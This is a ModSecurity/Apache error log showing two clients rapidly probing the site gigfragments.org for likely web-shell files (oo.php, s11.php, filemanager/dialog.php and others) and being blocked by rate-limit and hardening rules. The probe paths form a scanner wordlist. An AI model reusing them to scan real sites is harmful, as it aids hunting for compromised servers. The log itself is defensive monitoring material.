[Thu Feb 26 22:24:29.521132 2026] [:error] [pid 44444:tid 44456] [client 4.194.131.131:2315] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aaBXnW2sMNmj-yekUk1NNgAAAgY"]
[Thu Feb 26 22:24:29.690547 2026] [:error] [pid 44444:tid 44450] [client 20.151.107.14:64198] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filemanager/dialog.php"] [unique_id "aaBXnW2sMNmj-yekUk1NNwAAAgA"]
[Thu Feb 26 22:24:29.723697 2026] [:error] [pid 44444:tid 44460] [client 4.194.131.131:2308] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aaBXnW2sMNmj-yekUk1NOAAAAgo"]
[Thu Feb 26 22:24:29.897944 2026] [:error] [pid 55122:tid 55139] [client 4.194.131.131:2335] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aaBXnYLiR0OfjFxvcN82QAAAAM8"]
[Thu Feb 26 22:24:30.129856 2026] [:error] [pid 55618:tid 55621] [client 4.194.131.131:2328] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s11.php"] [unique_id "aaBXnh61Vrh12f_8oWQUjAAAAQA"]
[Thu Feb 26 22:24:30.172830 2026] [:error] [pid 55122:tid 55125] [client 20.151.107.14:62877] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filemanager/dialog.php"] [unique_id "aaBXnoLiR0OfjFxvcN82QgAAAME"]
[Thu Feb 26 22:24:30.330883 2026] [:error] [pid 3883:tid 3905] [client 4.194.131.131:2350] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s11.php"] [unique_id "aaBXnuA33x90V6yYHaj2PwAAAVM"]
[Thu Feb 26 22:24:30.719876 2026] [:error] [pid 20419:tid 20445] [client 20.151.107.14:62938] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filemanager/dialog.php"] [unique_id "aaBXnu3DVDvMfTYYUBVoFAAAAdc"]
[Thu Feb 26 22:24:30.731290 2026] [:error] [pid 55051:tid 55067] [client 4.194.131.131:2360] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s11.php"] [unique_id "aaBXngmK1w2kZvh5eLHPdQAAAI0"]
[Thu Feb 26 22:24:31.016727 2026] [:error] [pid 54991:tid 55036] [client 4.194.131.131:2836] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s11.php"] [unique_id "aaBXn94Zx-mJ8gbRB2j94AAAAFA"]
[Thu Feb 26 22:24:31.214796 2026] [:error] [pid 55618:tid 55630] [client 20.151.107.14:62961] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filemanager/dialog.php"] [unique_id "aaBXnx61Vrh12f_8oWQUjwAAAQk"]
[Thu Feb 26 22:24:31.260929 2026] [:error] [pid 55618:tid 55626] [client 4.194.131.131:2344] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dir.php"] [unique_id "aaBXnx61Vrh12f_8oWQUkAAAAQU"]
[Thu Feb 26 22:24:31.523561 2026] [:error] [pid 44444:tid 44451] [client 4.194.131.131:2321] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dir.php"] [unique_id "aaBXn22sMNmj-yekUk1NPwAAAgE"]
[Thu Feb 26 22:24:31.667371 2026] [:error] [pid 44444:tid 44465] [client 20.151.107.14:63525] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/cgi-bin/about.php"] [unique_id "aaBXn22sMNmj-yekUk1NQgAAAg8"]
[Thu Feb 26 22:24:31.701470 2026] [:error] [pid 44444:tid 44469] [client 4.194.131.131:2828] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dir.php"] [unique_id "aaBXn22sMNmj-yekUk1NQwAAAhM"]
[Thu Feb 26 22:24:31.886627 2026] [:error] [pid 55051:tid 55076] [client 4.194.131.131:2331] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dir.php"] [unique_id "aaBXnwmK1w2kZvh5eLHPeQAAAJY"]
[Thu Feb 26 22:24:32.078739 2026] [:error] [pid 55618:tid 55645] [client 4.194.131.131:2818] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aqw.php"] [unique_id "aaBXoB61Vrh12f_8oWQUkgAAARg"]
[Thu Feb 26 22:24:32.305678 2026] [:error] [pid 55051:tid 55069] [client 20.151.107.14:61376] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/cgi-bin/about.php"] [unique_id "aaBXoAmK1w2kZvh5eLHPfAAAAI8"]
[Thu Feb 26 22:24:32.342542 2026] [:error] [pid 55051:tid 55055] [client 4.194.131.131:2312] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aqw.php"] [unique_id "aaBXoAmK1w2kZvh5eLHPfwAAAIE"]
[Thu Feb 26 22:24:32.626039 2026] [:error] [pid 55051:tid 55054] [client 4.194.131.131:2817] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aqw.php"] [unique_id "aaBXoAmK1w2kZvh5eLHPgAAAAIA"]
[Thu Feb 26 22:24:32.800743 2026] [:error] [pid 55618:tid 55639] [client 20.151.107.14:61437] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/cgi-bin/about.php"] [unique_id "aaBXoB61Vrh12f_8oWQUkwAAARI"]
[Thu Feb 26 22:24:32.807917 2026] [:error] [pid 3883:tid 3898] [client 4.194.131.131:2855] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aqw.php"] [unique_id "aaBXoOA33x90V6yYHaj2QAAAAUw"]
[Thu Feb 26 22:24:33.068816 2026] [:error] [pid 3883:tid 3903] [client 4.194.131.131:2824] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca1.php"] [unique_id "aaBXoeA33x90V6yYHaj2QgAAAVE"]
[Thu Feb 26 22:24:33.261194 2026] [:error] [pid 55051:tid 55072] [client 4.194.131.131:2313] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca1.php"] [unique_id "aaBXoQmK1w2kZvh5eLHPgwAAAJI"]
[Thu Feb 26 22:24:33.622240 2026] [:error] [pid 55051:tid 55061] [client 4.194.131.131:2827] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca1.php"] [unique_id "aaBXoQmK1w2kZvh5eLHPhwAAAIc"]
[Thu Feb 26 22:24:33.710447 2026] [:error] [pid 55051:tid 55067] [client 20.151.107.14:61314] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/cgi-bin/about.php"] [unique_id "aaBXoQmK1w2kZvh5eLHPiAAAAI0"]
[Thu Feb 26 22:24:33.810540 2026] [:error] [pid 44444:tid 44460] [client 4.194.131.131:2367] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca1.php"] [unique_id "aaBXoW2sMNmj-yekUk1NRQAAAgo"]
[Thu Feb 26 22:24:34.070019 2026] [:error] [pid 54991:tid 55030] [client 4.194.131.131:2831] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file51.php"] [unique_id "aaBXot4Zx-mJ8gbRB2j96QAAAEo"]
[Thu Feb 26 22:24:34.165919 2026] [:error] [pid 54991:tid 55021] [client 20.151.107.14:62943] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/index.php"] [unique_id "aaBXot4Zx-mJ8gbRB2j96gAAAEE"]
[Thu Feb 26 22:24:34.416663 2026] [:error] [pid 20419:tid 20433] [client 4.194.131.131:2345] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file51.php"] [unique_id "aaBXou3DVDvMfTYYUBVoFQAAAcs"]
[Thu Feb 26 22:24:34.586946 2026] [:error] [pid 54991:tid 55044] [client 20.151.107.14:62958] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aaBXot4Zx-mJ8gbRB2j97gAAAFg"]
[Thu Feb 26 22:24:34.612722 2026] [:error] [pid 54991:tid 55025] [client 4.194.131.131:2354] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file51.php"] [unique_id "aaBXot4Zx-mJ8gbRB2j97wAAAEU"]
[Thu Feb 26 22:24:34.853712 2026] [:error] [pid 25311:tid 25328] [client 4.194.131.131:2841] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file51.php"] [unique_id "aaBXotfdM__yZAgJFSvrvgAAAY4"]
[Thu Feb 26 22:24:35.117357 2026] [:error] [pid 44444:tid 44473] [client 4.194.131.131:2832] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abouta.php"] [unique_id "aaBXo22sMNmj-yekUk1NSQAAAhc"]
[Thu Feb 26 22:24:35.357700 2026] [:error] [pid 44444:tid 44466] [client 4.194.131.131:2867] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abouta.php"] [unique_id "aaBXo22sMNmj-yekUk1NSwAAAhA"]
[Thu Feb 26 22:24:35.577022 2026] [:error] [pid 25311:tid 25329] [client 4.194.131.131:2322] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abouta.php"] [unique_id "aaBXo9fdM__yZAgJFSvrwAAAAY8"]
[Thu Feb 26 22:24:35.809009 2026] [:error] [pid 20419:tid 20437] [client 4.194.131.131:2361] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abouta.php"] [unique_id "aaBXo-3DVDvMfTYYUBVoGAAAAc8"]
[Thu Feb 26 22:24:35.815207 2026] [:error] [pid 54991:tid 55040] [client 20.151.107.14:62875] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aaBXo94Zx-mJ8gbRB2j9-AAAAFQ"]
[Thu Feb 26 22:24:36.039708 2026] [:error] [pid 55122:tid 55147] [client 4.194.131.131:2309] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fclas.php"] [unique_id "aaBXpILiR0OfjFxvcN82RAAAANc"]
[Thu Feb 26 22:24:36.223681 2026] [:error] [pid 20419:tid 20423] [client 4.194.131.131:2825] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fclas.php"] [unique_id "aaBXpO3DVDvMfTYYUBVoHQAAAcE"]
[Thu Feb 26 22:24:36.411407 2026] [:error] [pid 20419:tid 20439] [client 4.194.131.131:2307] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fclas.php"] [unique_id "aaBXpO3DVDvMfTYYUBVoIQAAAdE"]
[Thu Feb 26 22:24:36.619977 2026] [:error] [pid 54991:tid 55042] [client 50.6.7.129:57052] [client 50.6.7.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.6.7.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBXpN4Zx-mJ8gbRB2j9_AAAAFY"]
[Thu Feb 26 22:24:36.753260 2026] [:error] [pid 20419:tid 20425] [client 4.194.131.131:2359] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fclas.php"] [unique_id "aaBXpO3DVDvMfTYYUBVoJQAAAcM"]
[Thu Feb 26 22:24:36.950991 2026] [:error] [pid 44444:tid 44465] [client 4.194.131.131:2826] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/File.php"] [unique_id "aaBXpG2sMNmj-yekUk1NUAAAAg8"]
[Thu Feb 26 22:24:37.135496 2026] [:error] [pid 54991:tid 55030] [client 4.194.131.131:2834] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/File.php"] [unique_id "aaBXpd4Zx-mJ8gbRB2j9_QAAAEo"]
[Thu Feb 26 22:24:37.313921 2026] [:error] [pid 20419:tid 20422] [client 4.194.131.131:2835] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/File.php"] [unique_id "aaBXpe3DVDvMfTYYUBVoKQAAAcA"]
[Thu Feb 26 22:24:37.337953 2026] [:error] [pid 25311:tid 25330] [client 20.151.107.14:63559] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aaBXpdfdM__yZAgJFSvrwQAAAZA"]
[Thu Feb 26 22:24:37.558098 2026] [:error] [pid 54991:tid 55044] [client 4.194.131.131:2389] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/File.php"] [unique_id "aaBXpd4Zx-mJ8gbRB2j-AgAAAFg"]
[Thu Feb 26 22:24:37.802496 2026] [:error] [pid 44444:tid 44469] [client 4.194.131.131:2356] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all.php"] [unique_id "aaBXpW2sMNmj-yekUk1NUQAAAhM"]
[Thu Feb 26 22:24:38.057004 2026] [:error] [pid 44444:tid 44467] [client 4.194.131.131:2857] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all.php"] [unique_id "aaBXpm2sMNmj-yekUk1NUwAAAhE"]
[Thu Feb 26 22:24:38.271415 2026] [:error] [pid 20419:tid 20443] [client 4.194.131.131:2326] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all.php"] [unique_id "aaBXpu3DVDvMfTYYUBVoLAAAAdU"]
[Thu Feb 26 22:24:38.314572 2026] [:error] [pid 44444:tid 44464] [client 20.151.107.14:64223] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aaBXpm2sMNmj-yekUk1NVAAAAg4"]
[Thu Feb 26 22:24:38.444824 2026] [:error] [pid 44444:tid 44463] [client 4.194.131.131:2876] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all.php"] [unique_id "aaBXpm2sMNmj-yekUk1NWQAAAg0"]
[Thu Feb 26 22:24:38.652934 2026] [:error] [pid 44444:tid 44460] [client 4.194.131.131:2382] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bbn.php"] [unique_id "aaBXpm2sMNmj-yekUk1NWgAAAgo"]
[Thu Feb 26 22:24:38.831738 2026] [:error] [pid 55618:tid 55632] [client 20.151.107.14:62865] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-signup.php"] [unique_id "aaBXph61Vrh12f_8oWQUlAAAAQs"]
[Thu Feb 26 22:24:38.894556 2026] [:error] [pid 55618:tid 55627] [client 4.194.131.131:2391] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bbn.php"] [unique_id "aaBXph61Vrh12f_8oWQUlQAAAQY"]
